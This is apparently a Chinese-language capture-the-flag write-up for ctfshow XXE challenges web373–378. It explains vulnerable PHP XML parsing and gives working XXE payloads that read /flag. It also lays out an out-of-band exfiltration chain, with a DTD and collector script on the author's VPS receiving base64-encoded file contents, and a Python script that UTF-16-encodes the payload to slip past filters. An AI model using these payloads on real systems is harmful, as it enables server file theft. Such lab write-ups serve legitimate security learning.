xxe的解释 —-> 这篇文章 —->讲的比较详细了,几乎覆盖了xxe的所有攻击方法
这篇文章写的也不错 —-> 也是对xxe攻击的解释和介绍
web373
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow; }
|
由于php为协议 php://input
的作用,试所以我们得进行post发包。
得用bp,hackbar不行
payload
1 2 3 4 5 6 7 8 9 10
| [POST]Payload:
<?xml version="1.0"?> <!DOCTYPE payload [ <!ELEMENT payload ANY> <!ENTITY xxe SYSTEM "file:///flag"> ]> <creds> <ctfshow>&xxe;</ctfshow> </creds>
|
这段代码里的payload xxe creds 可以根据自己的情况进行修改,不会影响最终的结果
ctfshow
是不能进行修改的 因为题目的echo $ctfshow
得需要ctfshow
但是在ENTITY
里的xxe
必须得和外边的&xxe;
相等
写进去的时候必须得空一格,因为这个可能是个语法要求。
web374-376(过滤了xml)
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这题相较上题而言,没有了回显 就是echo
输出
所以我们就得进行外带了 得自己准备一个vps
第一步
先在自己的服务器上建一个网站,然后给一个端口号
第二步
就开始在网站的根目录下写所需要的文件
先写一个pd.dtd
1 2 3 4 5 6
| <!ENTITY % all "<!ENTITY % send SYSTEM 'http://vsp:端口号/xxe.php?q=%file;'>" > %all;
|
然后写个xxe.php
1 2 3 4 5 6 7
| <?php highlight_file(__FILE__); $xxe = base64_decode($_GET['q']); $txt = 'flag.txt'; file_put_contents($txt,$xxe,FILE_APPEND) ?>
|
然后在写一个flag.txt用来存反弹回来的flag
就是可以先拿自己的vps去看一下能不能访问这三个文件,如果能访问的话就进行post发包。
payload
1 2 3 4 5 6
| <!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://vps:端口号/pd.dtd"> %dtd; %send; ] >
|
如果成功的话,就会在自己的网站根目录看到flag.
上面的方法是通杀方法 —-> 题目把xml给过滤掉了
1 2 3
| if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ die('error'); }
|
web377
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php
error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); } if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file(__FILE__);
|
这里是把xml和http都给过滤掉了,那么我们就可以利用python进行编码发包
payload
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
url = 'http://xxx' data = """<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % dtd SYSTEM "http://xxx/test.dtd"> %dtd; %send; ] >"""
requests.post(url ,data=data.encode('utf-16')) print("done!")
|
因为xml支持utf-16编码,所以我们就可以进行utf-16进行编码
web378
题目
一个xxe的登录,尝试一下弱口令登录,admin/admin 登录成功,没有显示什么,那么我们就可以进行抓包查看。
然后就可以进行xxe注入了,这种类型的题目是最经典的,网上有一模一样的。
payload
1 2 3
| <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///flag"> ]>
|
这个show讲的xxe类型比较少,想看更详细的可以去看文章开头给的那两篇文章
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡 PHP版本并不影响XXE利用。